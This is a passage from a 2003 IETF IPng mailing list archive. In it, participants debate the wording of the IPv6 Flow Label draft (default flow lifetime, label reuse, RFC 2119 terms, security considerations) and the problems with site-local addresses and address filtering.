I think we are stating the "SHOULD label" in the section 3 ("Flow Labeling Requirements") is sufficient? Comments?

> > > >    Nodes keeping dynamic flow state MUST NOT assume 
> packets arriving 60
> > > >    seconds or more after the previous packet of a flow 
> still belong to
> > > >    the same flow, unless a flow state establishment 
> method in use
> > > >    defines a longer flow state lifetime or the flow 
> state has been
> > > >    explicitly refreshed within the lifetime duration.


> > > 
> > > I'm not entirely comfortable with the above wording. It 
> seems to me,
> 
> > > that any node making assumptions about flow values *needs* a flow
> > > setup mechanism to go along with it. But if there is such 
> a mechanism,
> > > that mechanism can communicate appropriate timer values 
> for timing out
> > > state (and the above words are not needed).

Yes. I think so too.

> > > If there is no such
> > > mechanism, what sort of flow-specific processing should 
> assume that a
> > > gap of 60 seconds implies a reset in the flow?

I don't know. It just says that if the node creates flow state out of the thin air, the node should not assume "stability" of the flow classifier after a gap of 60 seconds. In most cases it may be that the flow is still the same flow, and could be processed as before. In other cases it is of no significance that the flow "changed" and the node can keep processing the packets as before (not flushing anything). It all depends on what the node is doing.

This "must not assume" is just one side effect of the sources not re-using "flow identities" for 60 seconds after the previous flow terminated.

> 
> > We don't know, and 60 seconds is a compromise value anyway. 
> But there
> > seemed to be WG consensus that a default timeout is needed, since
> > otherwise we are licensing implementors to create hard 
> state. The authors
> > have been round and round this many times, and this was the best we
> > could come up with. (more comment on this below)
> 
> Well, I have a basic problem with a default timeout of 60
> seconds. Heck, a temporary routing glitch can cause a loss of traffic
> for 60 seconds, yet the TCP sesssion doesn't go away that quickly. So
> 60 seconds seem like a rather odd compromise value. Seems too short to
> me.
> 

Presumably the node can re-create the state it needs after the gap. Since there was a long gap, there should be no reordering issues (in case the new state for example determines a different next-hop interface).

For reference, RFC 1883 defined a lifetime value of 6 seconds.

As I said above, I do not know any use of flow-specific state without the support of a flow state establishment method. But if we do not define a default lifetime now, it cannot be added later. Also, it seems logical to have *some* pause before a previously used flow label value should be re-used for a new flow.

WG chairs (collectively) insisted on the definition of the default lifetime, and there were no opposing voices on this from the WG.

I do not think the default lifetime should have anything to do with TCP timeouts, as long as it is long enough to not cause any reordering issues. But this is not an issue for me, any value is fine, especially if someone could come up with good justification for the value :-)

> > > What problem is the above wording intended to address?
> 
> > Use cases that nobody has thought of yet.
> 
> I don't understand this answer. If a router does something
> flow-specfic for flow X, but then sees no traffic for 60 seconds, the
> implication now is that it shouldn't give flow X the same treatement
> it was just giving it just 60 seconds ago.
> 

No. It would still give the flow X, but it would just need to re-use the algorithm/method/whatever to re-create the X after the gap, if it flushed the X.

It might be likely that X is not really flow-specific, but can be applied to aggregates of flows. In this case there is no point in flushing the X (ever).

> I do remember some discussion on this in the past. But I still don't
> feel like I understand the rational. Can someone please summarize or
> point me back to a previous thread?
> 
> > > >    If an IPv6 node is not providing flow-specific 
> treatment, it MUST
> > > >    ignore the field when receiving or forwarding a packet.
> > > 
> > > Such a node is presumably not implementing this spec, in 
> which case
> > > the words seem superfluous... Delete?
> 
> > You're too logical :-) But I think this forbids attempts to abuse
> > the label as a covert signalling channel, or otherwise use it for
> > an unintended purpose. So I'd vote for keeping the sentence, but
> > I don't feel strongly.
> 
> Not a show stopper to leave in...
> 

Good :-)

> > > > 3.  Flow Labeling Requirements
> > > >
> > > >    To enable Flow Label based classification, sources 
> SHOULD assign each
> > > >    unrelated transport connection and application data 
> stream to a new
> > > >    flow. The source MAY also take part in flow state 
> establishment
> > > >    methods that result in assigning certain packets to 
> specific flows. A
> > > >    source which does not assign traffic to flows MUST 
> set the Flow Label
> > > >    to zero.
> > > 

You left the 2nd paragraph out from your quote. I think it should be considered here as well:

"To enable applications and transport protocols to define what packets
 constitute a flow, the source node MUST provide means for the
 applications and transport protocols to specify the Flow Label values
 to be used with their flows. The source node SHOULD be able to select
 unused Flow Label values for flows not requesting a specific value to
 be used."

> > > I find the above a bit muddled and incomplete. Here is an 
> attempt at
> > > clarifying:
> 
> > I object. Your text starts to hint at use cases. I think we should
> > absolutely avoid that, and restrict ourselves strictly to setting
> > boundary conditions on senders. Also, we agreed earlier to take out
> > all the stuff on APIs and picking flow label values. That was part
> > of the Grand Simplification of the draft. So I don't agree that the
> > paragraph is incomplete with respect to the goals of this document.
> 
> Part of my concern with the current text is it says hosts SHOULD set
> the flow-label for each Application-level stream. I assume, however,
> that this document is aimed at the IP stack, not at individual
> applications. I.e., how will someone who implements the stack be able
> to use different flow labels for different application stream without
> help from the application?

As stated in the 2nd paragraph, the stack cannot determine the application-defined flows by itself.

The document is not aimed only at IP stack implementers. It is also aimed at implementers of e.g. media transport "middleware" (i.e. RTP/RTSP/SIP implementers, in their role as "applications" defining flows) and folks responsible for API definitions (I hope that the API recommendations would be addressed in the socket API specs).

> Seems like some sort of wording about this
> would be good. I'm not saying it even needs to be normative (it
> probably shouldn't be). But maybe some guidance. The existing wording
> seems a bit incomplete and the issues here seem more complex.
> 

It seems to me that the 2nd paragraph is saying what it needs to, if we leave API specs out of this document.

> > > >    A source node MUST keep track of the Flow Label values it is
> > > >    currently using or has recently used.
> > > 
> > > Mumble. the above comes across as a restrictive requirement rather
> > > than focusing on the key requirement to fulfill.
> 
> > Yes, we can replace MUST by "needs to".
> 
> ok. But that alone doesn't fix the issue. Just saying it "needs to
> keep track of" doesn't focus on the "why". I think the document would
> be better off saying what fundamental principal an implementation
> needs to be sure to not violate. In this case, it's not reusing the
> same flow label too quickly, including across reboots. I agree that
> mandating how an implementation does is beyond the scope of the
> document.
> 
> Note: an implementation doesn't need to keep track of which flow IDs
> it has recently used (as the current words say). It simply needs to
> ensure that it doesn't reuse any that have been reused recently. There
> is a subtle difference. I.e., one doesn't need to keep track of *each*
> flow one has recently used. One can aggregate that information.
> 
> Here's a slightly less delta-ish proposal relative to the current
> text:
> 
>    A source node MUST ensure that it does not reuse Flow Label values
>    it is currently using or has recently used when creating new
>    flows. Flow Label values previously used with a specific pair of
>    source and destination addresses MUST NOT be assigned to new flows
>    with the same address pair within 60 seconds of the termination of
>    the previous flow. If the previous flow had a lifetime longer than
>    the default 60 seconds, a quarantine period of at least the length
>    of the lifetime MUST be observed before reusing that Flow Label.
> 

The changes (1st and last sentences) seem good to me.

> Note: this last sentence seems hard to achieve. it suggests that if a
> future flow establishment method uses longer lifetimes, the stack will
> have to be retrofitted to figure out somehow not to reuse those flow
> label values for the longer period. I suspect that future uses of the
> flow label (i.e., the signalling partz) may well be implemented
> separately from the base IP stack Flow Label support, and it may not
> be possible for the signalling to ensure the quarantine behavior.
> 

There are at least two ways to implement this:

1) the stack implementation allows the application (or any middleware on top of the stack) to define the lifetime, that the stack will then honor (e.g. by not assigning that value to any new flow for the timeout value after all sockets belonging to that flow have been closed), possibly individually for the flow, or by utilizing the longest timeout for all flows.

2) In the absence of the interface for the non-default lifetime, the FSEM could keep the flow "reserved" for timeout-60 seconds after the flow's traffic has finished, and only after that release the label back to the stack (which would then keep the value reserved for the normal 60 seconds).

>    The requirement of not reusing a Flow Label value for a 
> new flow with
>    the same pair of source and destination addresses extends across
>    source node crashes and reboots.
> 
> Text OK up to here.
> 
> but, for the rest:
> 
>    To avoid accidental Flow Label value
>    reuse, the source node SHOULD use a different initial 
> value for Flow
>    Label assignments after a reboot. The initial value could 
> be randomly
>    generated, or computed from a previous value stored in non-volatile
>    memory.
> 
> I think the above text is not really good enough. It makes some
> unstated assumptions about how things are implemented. It either needs
> more text, or should just be deleted. I guess my attempt at
> replacement wasn't successful.
> 

You are right in that the text suggests utilizing a (random) initial value and sequential assignment for flows for which applications do not ask for a specific value. It is a SHOULD to prevent implementations always starting from 1, for example. But other methods of avoiding accidental re-use are possible (i.e. if the system is able to maintain all flow-related state across reboots).

I do not think it can be deleted.

How about:

"The requirement of not reusing a Flow Label value for a new flow with
 the same pair of source and destination addresses extends across
 source node crashes and reboots. To avoid accidental Flow Label value
 reuse, the source node SHOULD select new Flow Label values in a well-
 defined sequence (e.g. sequential or pseudo-random) and use a
 different initial value for the sequence each time the system starts.
 The initial value could be randomly generated, or computed from a
 previous value stored in non-volatile memory."

> > As noted, 60 seconds is a compromise. We looked at values 
> anywhere between
> > 10 and 600 seconds. There is no right answer, but 60 seems 
> as good as
> > we could get. (10 seemed too short for a slow TCP stream, 
> and 600 seemed
> > far too long, despite being the TCP timeout.)
> 
> > Wording suggestions?
> 
> Again, it seems like it should be at least as long as TCP timeouts. I
> don't think you want the flow state to be reclaimed just because of
> temporary network outages.

Again, it is a matter of taste what is considered temporary. Again, the only issue with TCP I can think of here is possible re-ordering issue, which is not an issue after a gap of couple of seconds.

> > > > 4.  Flow State Establishment Requirements
> > > >
> > > >    To enable flow-specific treatment, flow state needs 
> to be established
> > > >    on all or a subset of the IPv6 nodes on the path 
> from the source to
> > > >    the destination(s). The methods for the state 
> establishment, as well
> > > >    as the models for flow-specific treatment will be 
> defined in separate
> > > >    specifications.
> > > >
> > > >    To enable co-existence of different methods in IPv6 
> nodes, the
> > > >    methods MUST meet the following basic requirements:
> > > >
> > > >    (1)  The method MUST provide the means for flow 
> state clean-up from
> > > >         the IPv6 nodes providing the flow-specific 
> treatment. Signaling
> > > >         based methods where the source node is involved 
> are free to
> > > >         specify flow state lifetimes longer than the 
> default 60 seconds.
> > > >
> > > >    (2)  Flow state establishment methods MUST be able 
> to recover from
> > > >         the case where the requested flow state cannot 
> be supported.
> > > 
> > > I'm not sure what purpose the above provides.  I guess its mostly
> > > harmless, but it strikes me as being pretty obvious, and 
> I wonder if
> > > these are the only real issues to think about. I.e., is 
> this section
> > > complete?  If not, do we need it?
> 

You might want to read the -03 draft (at http://www.ietf.org/proceedings/02nov/I-D/draft-ietf-ipv6-flow-label-03.txt ) it had 6 requirements. Some of them were clarifying implications of the other text, but were cut of to reduce the complexity of the document.

It would be good if you could read the -03 version to see if we dropped something that really should not have been dropped (as you see it).

> > > > Security Considerations
> > > >
> > > >    The use of the Flow Label field enables flow 
> classification also in
> > > >    the presence of encryption of IPv6 payloads. This allows the
> > > >    transport header values to remain confidential, 
> which may lessen the
> > > >    possibilities for some forms of traffic analysis. 
> However, the
> > > >    labeling of flows defined in this specification may 
> reveal some
> > > >    structure of communications otherwise concealed by 
> transport mode
> > > 
> > > Seems like more could be said here. If use of the flow 
> label allows
> > > special treatment of traffic, aren't there possible theft 
> of service
> > > issues? Or DOS issues, if someone generates traffic trying to
> > > overwhelm a particular flow? What about authorization? 
> Can anyone set
> > > up flows? Are there requirements or issues here that should be
> > > mentioned in Section 4?  This section seems a bit incomplete.
> 
> > Since flow labels are not protected by IPSEC-AH, they can be forged.
> > We should probably state this. However, since the flow is actually
> > identified by the {srce, dest, label} triplet, the theft of service
> > or DOS problem actually requires address spoofing as well as label
> > spoofing (and is prevented by ingress filtering). We should 
> probably say
> > this.
> 
> My application, when running between the same pair of machines as
> yours, might be able to steal bandwidth from your application. This
> might be a real issue where one has proxies and other aggregating
> devices talking to each other.
> 

If the proxy is aggregating traffic so as to share a flow, then it no longer "my bandwidth" or "your bandwidth", it is just aggregate bandwidth that the proxy is responsible for managing, at least responsible for which traffic it is inserting to the aggregate. From the IPv6 viewpoint the proxy is the source of the flow.

On a multi-user machine the kernel would be responsible for not allowing mixing flows of applications belonging to different users.

> My basic point thought when reading the current text, however, was
> that from the few words it wasn't clear that a whole lot of thought
> had gone into any possible security issues. The writeup seems a bit
> superficial.

There has been nothing in this current discussion that would not have been considered. It should be obvious that giving more resources to someone does not make sense without compensation, but the authorization is more of an issue for the flow state establishment methods (which are out of scope for this doc). Labeling is free as is some aggregate based load spreading, but some authorization is required for any real flow-specific treatment (this spec does not define any).

I agree that it would be good if the WG could come up with a more complete Security Considerations section for this document.

Regards,

	Jarno

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 13 17:16:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0E1GO16029991;
	Mon, 13 Jan 2003 17:16:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0E1GNR0029990;
	Mon, 13 Jan 2003 17:16:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0E1GJ16029983
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 17:16:19 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0E1GT4w029895
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 17:16:29 -0800 (PST)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA29620
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 17:16:23 -0800 (PST)
Received: from mothost.mot.com (mothost.mot.com [129.188.137.101])
	by ftpbox.mot.com (Motorola/Ftpbox) with ESMTP id h0E1GNuP005418
	for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 18:16:23 -0700 (MST)
Received: [from homer.arc.corp.mot.com (homer.arc.corp.mot.com [10.238.80.38]) by mothost.mot.com (MOT-pobox 2.0) with ESMTP id SAA22404 for <ipng@sunroof.eng.sun.com>; Mon, 13 Jan 2003 18:16:21 -0700 (MST)]
Received: from motorola.com (awhite.arc.corp.mot.com [10.238.80.239])
	by homer.arc.corp.mot.com (8.12.2/8.12.2) with ESMTP id h0E1GIEE002390
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 12:16:20 +1100 (EST)
Message-ID: <3E2364E2.DF5CF1D7@motorola.com>
Date: Tue, 14 Jan 2003 12:16:18 +1100
From: Andrew White <Andrew.E.White@motorola.com>
Reply-To: awhite@arc.corp.mot.com
Organization: Motorola Australia Research Centre
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: IPng <ipng@sunroof.eng.sun.com>
Subject: Site locals and filters (on draft-wasserman-ipv6-sl-impact-01.txt)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret's draft highlights three failures of site local addressing...

(1) The addresses are unreachable outside of their original context.

(2) The addresses may overlap other private address spaces, creating
ambiguity.

However, it seems to me that #1 is not specific to site local addresses. 
Instead, it applies to ANY address that is not practically globally
routable.

What do I mean by "practically globally routable?"  That not only is it
allowed to be globally routeable, but that there's not a filter somewhere on
the way to the default free zone that will kill it.  This is an address's
'practical scope' - the area of the internet that it could reasonably apply
to.

Once we start handing out addresses whose practical scope is less than
global, we either need proxies (eg NAT) or multi-homing.  Few to none of the
limited scope or multi-homing problems are specific to site locals.  In
fact, site locals have a slight advantage in a multi-homing situation in
that they promise that they do not have global scope, and thus may be
singled out by address selection algorithms.


To my eye, ambiguity problems manifest themselves in three main situations.

- Addresses used in the wrong context may arrive at an unintended network or
machine.

- Reverse name lookups don't work globally scoped ambiguous addresses.

- Site border nodes.

The IPv6 machine ID helps reduce the likelihood of a misdirected connection
actually arriving on an interface (rather than just timing out).  Beyond
that, it's up to an application to decide whether it wants to consider the
failure case where TCP/IP connection is successful but then the machine
fails to authenticate itself.  Note that this same problem could occur for a
variety of other reasons that ambiguous addresses (deliberate spoofing, bad
DNS entries, other network configuration problems).

Proper reverse name lookups rely on sites using site locals correctly
configuring their internal DNS.  Forward lookup issues can be trivially
solved by putting internal addresses in a localised namespace.

Site border nodes are always going to be problematic.  Logical partitioning,
as in Bob Hinden's draft or Hiroki Ishibashi's implementation, and refusing
to allow sites to 'overlap' seems to be an effective way of avoiding these
problems.


I feel the correct conclusion from Margaret's draft is that there are a
number of issues that people using addresses with "site" based practical
scope should be aware of.  However, that people WILL use firewalls and
address filters as one part of security management seems inevitable.  Thus
it's a useful summary of "these things may break, understand the issues".

But despite the title, site-local addresses are only one example of a
broader category of addresses that these problems apply to.  Site locals as
currently specified do add additional issues for architecture (DNS and SBRs)
if not correctly managed.  However, at the client and application level,
most site-local alternatives suggested here (everything except fully
provider independent routed addresses, without address-based filtering) fall
foul of the same problems as site local addresses themselves.

-- 
Andrew White                Andrew.E.White@motorola.com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 14 07:06:42 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0EF6f16002976;
	Tue, 14 Jan 2003 07:06:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0EF6fCR002975;
	Tue, 14 Jan 2003 07:06:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0EF6b16002968
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 07:06:37 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0EF6k4w017590
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 07:06:47 -0800 (PST)
Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA03763
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 07:06:41 -0800 (PST)
Received: from user-119b1dm.biz.mindspring.com ([66.149.133.182] helo=envy.indecency.org)
	by swan.mail.pas.earthlink.net with smtp (Exim 3.33 #1)
	id 18YSeA-0001w6-00; Tue, 14 Jan 2003 07:06:34 -0800
Date: Tue, 14 Jan 2003 10:03:23 -0500
From: Keith Moore <moore@cs.utk.edu>
To: awhite@arc.corp.mot.com
Cc: moore@cs.utk.edu, Andrew.E.White@motorola.com, ipng@sunroof.eng.sun.com
Subject: Re: Site locals and filters (on
 draft-wasserman-ipv6-sl-impact-01.txt)
Message-Id: <20030114100323.2343fdff.moore@cs.utk.edu>
In-Reply-To: <3E2364E2.DF5CF1D7@motorola.com>
References: <3E2364E2.DF5CF1D7@motorola.com>
X-Mailer: Sylpheed version 0.8.8claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> Once we start handing out addresses whose practical scope is less than
> global, we either need proxies (eg NAT) or multi-homing.  

I disagree.  

One reason I disagree is that when we make global addresses unreachable, 
this is usually done because policy dictates that those hosts not be 
reachable from some portions of the net.  Allowing those hosts to
be reachable by NAT or via other addresses would circumvent such 
policies.

Another reason I disagree is that from an architectural standpoint it is
better to have fewer addresses for a host and expect the network to filter
out traffic that is not permitted by policy, than it is to have more 
addresses for a host and expect applications to choose the correct addresses.
The former strategy is both simpler to implement consistently in the network,
and easier to support in applications.

> Few to none of the
> limited scope or multi-homing problems are specific to site locals.  In
> fact, site locals have a slight advantage in a multi-homing situation in
> that they promise that they do not have global scope, and thus may be
> singled out by address selection algorithms.

This doesn't help, because the application rarely cares about whether an
address has global scope - what it cares about is whether the address
is reachable by itself or its peers.  Since the application is generally 
unaware of the scopes to which its peers have access, there is no way that
it can know whether a global address or a scoped address is better for 
its peers.   


What does work is to have a single address for each of its peers, and to 
expect the network to route traffic there if policy and conditions permit.
This separation of function is fundamental to the Internet architecture -
the network, not the application, is responsible for routing.
 
> But despite the title, site-local addresses are only one example of a
> broader category of addresses that these problems apply to. 

Well, there are multiple categories that SLs fit into, ranging from
"scoped addresses" to "potentially unreachable addresses" to "IP addresses"
and beyond.  And there are problems associated with all of these.  But 
if you are trying to say that all of the problems with SLs also exist
with these other categories, you are simply wrong.  Even creating an 
additional category of scoped addresses (beyond link local) introduces
more problems than we would have with just link local addresses.

> Site locals as
> currently specified do add additional issues for architecture (DNS and SBRs)
> if not correctly managed.  

One question is whether the burden of "correctly" managing SLs is worth
the gain.  Or perhaps the "correct" way to manage SLs is to not use them at
all in connected networks.

> However, at the client and application level,
> most site-local alternatives suggested here (everything except fully
> provider independent routed addresses, without address-based filtering) fall
> foul of the same problems as site local addresses themselves.

That's true only if you ignore the additional problems that scoped addresses
create for applications.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 14 08:29:47 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0EGTl16003450;
	Tue, 14 Jan 2003 08:29:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0EGTlFt003449;
	Tue, 14 Jan 2003 08:29:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0EGTi16003442
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 08:29:44 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0EGTr4w007071
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 08:29:53 -0800 (PST)
Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [194.196.100.236])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA22227
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 09:29:46 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0EGTgwX031688;
	Tue, 14 Jan 2003 17:29:42 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0EGTgmZ165766;
	Tue, 14 Jan 2003 17:29:42 +0100
Received: from lig32-225-250-121.us.lig-dial.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA29496 from <brian@hursley.ibm.com>; Tue, 14 Jan 2003 17:29:32 +0100
Message-Id: <3E2436D9.961A107B@hursley.ibm.com>
Date: Tue, 14 Jan 2003 17:12:09 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Thomas Narten <narten@us.ibm.com>
Cc: jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
References: <200301101636.h0AGaxc09763@rotala.raleigh.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

below...

Thomas Narten wrote:
> 
> Brian E Carpenter <brian@hursley.ibm.com> writes:
> 
> > Thomas Narten wrote:
> > >
> > > I reviewed the revised document today. Speaking as an individual, here
> > > is my reaction:
> > >
> > > > Abstract
> > > >
> > > >    This document specifies the IPv6 Flow Label field, the requirements
> > > >    for IPv6 source nodes labeling flows, and the requirements for flow
> > > >    state establishment methods.
> > >
> > > Note: what I would expect this draft to describe is:
> > >
> > > 1) what arbitrary source nodes should do with the flow label.
> > > 2) what routers should do with the flow label.
> > >
> > > The document appears to do 1), but 2) is omitted from the document. Is
> > > this OK?
> 
> > IMHO, it's not only OK, it is essential at this stage. There are a number
> > of use cases for the flow label - if I even enumerated them here, they
> > are controversial enough to start a flame war. The draft has been very
> > carefully limited to *avoid* assuming any particular use case. It serves
> > two purposes, in my view:
> > -- setting globally applicable boundary conditions on what a sending
> >    host may and may not do;
> > -- making it clear that intermediate systems may use the flow label
> >    for packet classification purposes (which means, in particular,
> >    that ASIC and network processor designers know that they should
> >    include the flow label in the fields potentially used by
> >    classifiers).
> > Going beyond this point would take us back into the controversy we
> > had on this list a year or so ago. So, to repeat, it would *not*
> > be OK to attempt to specify what routers should do with the flow
> > label.
> 
> We may be more in agreement than appears. I agree that usage scenarios
> should be left out. What I want to be sure about though is that router
> implementors have a clear understanding of what they need to
> implement, in order to be able to support flows once specific usages
> are defined. (Or, please correct me if this is this not a goal here.)
> 
> I.e., folks doing hardware today want to know what they are supposed
> to do with the Flow Label. They don't want to find themselves later
> down the road saying "oops" our hardware can't support that because we
> didn't know that's how flows were defined.
> 
> It may well be that all that needs to be said is that a flow is
> defined by the three tuple, and that implementations need to classify
> based on the tuple. 

Rather, they need to be *capable* of classifying based on the
3tuple. I'd be happy to see this added.

> ...What is done to packets that belong to a
> particular flow is future work. But the definition of how the
> classification is to be done seems important to nail down now. IMO,
> the current wording about this could be more clear. But if hardware
> folk feel like the current words are sufficiently clear on this, I'm
> OK too.
> 
> My assumption is that this document is trying to say that classifiers
> need to map the three-tuple into a "flow".  Or am I wrong? Is the
> document not even wanting to go this far?

That's the implication, given the definition of a flow at the
beginning of the document. My personal preference is not to say this,
since it's a direct implication and I prefer fewer words, but it's
for the WG to say.

> 
> > > I.e., I thought the main reason to specify the flow label is
> > > so that current implementations can do something sensible with the
> > > flow label.  Is there enough guidance for router implementors (e.g.,
> > > those doing hardware) to add useful support for the flow label? I'm
> > > not sure, but would like to hear from such implementors.
> 
> > As I said, there are multiple use cases and IMHO we should get this
> > document out and then let the QOS community (not the IPv6 community)
> > work on those use cases. Time will tell which ones succeed.
> 
> If the point is that how packets of a specific flow are to be
> processed needs to be defered to future work, I agree. But if this
> also relates to the definition of which packets belong to which flow,
> I wonder whether this document achieves anything useful in practice.

Well, it's my assertion that the definition of exactly what belongs
to a flow *is* use-case dependent, and that we can't say more
than the -04 draft says. This is after all a network layer WG and
flows are a transport layer (or above) concept.

> 
> > > > 2.  IPv6 Flow Label Specification
> > > >
> > > >    The 20-bit Flow Label field in the IPv6 header [IPv6] SHOULD be used
> > > >    by a source to label packets of a flow. A non-zero Flow Label
> > >
> > > Note: I don't think the SHOULD/MUST usage in this document is always
> > > helpful or even correct. It would make sense to go read the defintions
> > > in RFC 2119 as cited.
> 
> > This does mean SHOULD in the 2119 sense - hosts need a valid reason for not
> > doing it.
> > >
> > > This document defines a flow as the three tuple. No "SHOULD" about
> > > it. If a source wants to label a flow, it does so by setting the flow
> > > label. A better wording would be something like:
> > >
> > >     Flows in IPv6 identified by the tuple of the 20-bit Flow Label,
> > >     the IP source address, and the IP destination address in the IPv6
> > >     header.
> 
> > No. We want to say that hosts SHOULD label flows. (Rationale: it's
> > only by this becoming the norm that the flow label can become an effective
> > tool. If only 1% of traffic is labelled, there is no benefit.)
> 
> Pekka said exactly what I would say here.
> 
> > > >    The packet MAY be given some flow-specific treatment based on the
> > > >    flow state established on a set of IPv6 nodes. The nature of the
> > >
> > > MAY here seems odd too. Again, read the definition of MAY. It suggests
> > > that an implementation may decide it makes sense to do something in
> > > certain circumstances. But what I think the document is trying to say
> > > here is that flow-specific processing is done by entities that have
> > > been directed to do so. This is not an implementation choice in the
> > > "MAY" sense. It has more to do whether a device implements flows and
> > > then whether there is appropriate flow-state. Suggested reword:
> > >
> > >     The packet will be processed in a flow-specific manner by those
> > >     nodes that have special processing enabled for packets belonging
> > >     to a particular flow.
> 
> > Agreed, or simply use lower case "may".
> 
> agreed too.
> 
> > >
> > > Actually, the entire paragraph might be better as:
> > >
> > >     IPv6 flows are defined by the tuple of the 20-bit Flow Label, the
> > >     IP source address, and the IP destination address in the IPv6
> > >     header. Packet classifiers use the tuple to identify which flow a
> > >     particular packet belongs to.  Packets will be processed in a
> > >     flow-specific manner by those nodes that have special processing
> > >     enabled for packets belonging to a particular flow.  A Flow Label
> > >     of zero indicates an unlabelled packet that is given no special
> > >     treatment.  The nature of the specific treatment and the methods
> > >     for the flow state establishment are beyond the scope of this
> > >     specification.
> 
> > Well, I think we want the SHOULD in there. We mean it.
> 
> Make the "SHOULD implement" a separate point from the definition
> itself then. And have it refer specifically (for hosts) that they
> SHOULD label outgoing packets. That is what I think we are aiming for.

Agreed

> 
> > > >    Nodes keeping dynamic flow state MUST NOT assume packets arriving 60
> > > >    seconds or more after the previous packet of a flow still belong to
> > > >    the same flow, unless a flow state establishment method in use
> > > >    defines a longer flow state lifetime or the flow state has been
> > > >    explicitly refreshed within the lifetime duration.
